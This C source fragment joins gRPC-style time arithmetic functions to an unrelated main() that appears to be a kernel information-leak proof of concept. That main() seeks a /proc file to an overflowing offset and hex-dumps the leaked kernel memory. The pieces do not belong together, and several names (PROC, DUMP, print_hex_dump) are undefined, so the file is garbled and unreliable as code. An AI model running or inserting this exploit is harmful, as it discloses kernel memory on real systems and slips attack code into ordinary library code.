gpr_timespec gpr_time_add(gpr_timespec a, gpr_timespec b) {
gpr_timespec sum;
int inc = 0;
GPR_ASSERT(b.clock_type == GPR_TIMESPAN);
sum.clock_type = a.clock_type;
sum.tv_nsec = a.tv_nsec + b.tv_nsec;
if (sum.tv_nsec >= GPR_NS_PER_SEC) {
sum.tv_nsec -= GPR_NS_PER_SEC;
inc++;
}
if (a.tv_sec == TYPE_MAX(time_t) || a.tv_sec == TYPE_MIN(time_t)) {
sum = a;
} else if (b.tv_sec == TYPE_MAX(time_t) ||
(b.tv_sec >= 0 && a.tv_sec >= TYPE_MAX(time_t) - b.tv_sec)) {
sum = gpr_inf_future(sum.clock_type);
} else if (b.tv_sec == TYPE_MIN(time_t) ||
(b.tv_sec <= 0 && a.tv_sec <= TYPE_MIN(time_t) - b.tv_sec)) {
sum = gpr_inf_past(sum.clock_type);
} else {
sum.tv_sec = a.tv_sec + b.tv_sec;
if (inc != 0 && sum.tv_sec == TYPE_MAX(time_t) - 1) {
sum = gpr_inf_future(sum.clock_type);
} else {
sum.tv_sec += inc;
}
}
return sum;
}
gpr_timespec gpr_time_sub(gpr_timespec a, gpr_timespec b) {
gpr_timespec diff;
int dec = 0;
if (b.clock_type == GPR_TIMESPAN) {
diff.clock_type = a.clock_type;
} else {
GPR_ASSERT(a.clock_type == b.clock_type);
diff.clock_type = GPR_TIMESPAN;
}
diff.tv_nsec = a.tv_nsec - b.tv_nsec;
if (diff.tv_nsec < 0) {
diff.tv_nsec += GPR_NS_PER_SEC;
dec++;
}
if (a.tv_sec == TYPE_MAX(time_t) || a.tv_sec == TYPE_MIN(time_t)) {
diff = a;
} else if (b.tv_sec == TYPE_MIN(time_t) ||
(b.tv_sec <= 0 && a.tv_sec >= TYPE_MAX(time_t) + b.tv_sec)) {
diff = gpr_inf_future(GPR_CLOCK_REALTIME);
} else if (b.tv_sec == TYPE_MAX(time_t) ||
(b.tv_sec >= 0 && a.tv_sec <= TYPE_MIN(time_t) + b.tv_sec)) {
diff = gpr_inf_past(GPR_CLOCK_REALTIME);
} else {
diff.tv_sec = a.tv_sec - b.tv_sec;
if (dec != 0 && diff.tv_sec == TYPE_MIN(time_t) + 1) {
diff = gpr_inf_past(GPR_CLOCK_REALTIME);
} else {
diff.tv_sec -= dec;
}
}
return diff;
}
gpr_timespec gpr_inf_future(gpr_clock_type type) {
gpr_timespec out;
out.tv_sec = TYPE_MAX(time_t);
out.tv_nsec = 0;
out.clock_type = type;
return out;
}
gpr_timespec gpr_convert_clock_type(gpr_timespec t, gpr_clock_type clock_type) {
if (t.clock_type == clock_type) {
return t;
}
if (t.tv_nsec == 0) {
if (t.tv_sec == TYPE_MAX(time_t)) {
t.clock_type = clock_type;
return t;
}
if (t.tv_sec == TYPE_MIN(time_t)) {
t.clock_type = clock_type;
return t;
}
}
if (clock_type == GPR_TIMESPAN) {
return gpr_time_sub(t, gpr_now(t.clock_type));
}
if (t.clock_type == GPR_TIMESPAN) {
return gpr_time_add(gpr_now(clock_type), t);
}
return gpr_time_add(gpr_now(clock_type), gpr_time_sub(t, gpr_now(t.clock_type)));
}
int
main(void)
{
int fd, ret;
char buf[DUMP];
off_t seek, offset=TYPE_MAX(off_t);
memset(buf, 0, sizeof(buf));
fd = open(PROC, O_RDONLY);
if (fd == -1) {
printf("[-] Error during open(2)\n");
exit(1);
}
printf("[+] Opened " PROC ".\n");
seek = lseek(fd, offset-DUMP, SEEK_SET);
if (seek == -1) {
printf("[-] Error during lseek(2).\n");
exit(1);
}
printf("[+] Seek to offset %lld.\n", seek);
ret = read(fd, buf, DUMP);
if (ret == -1) {
printf("[-] Error during read(2).\n");
exit(1);
}
if (ret == 0) {
printf("[-] read(2) return 0 bytes, your kernel may not be vulnerable.\n");
exit(1);
}
printf("[+] Read %d bytes, dumping to stdout...\n\n", ret);
sleep(3);
print_hex_dump(32, 1, buf, ret, 1);
return 0;
}
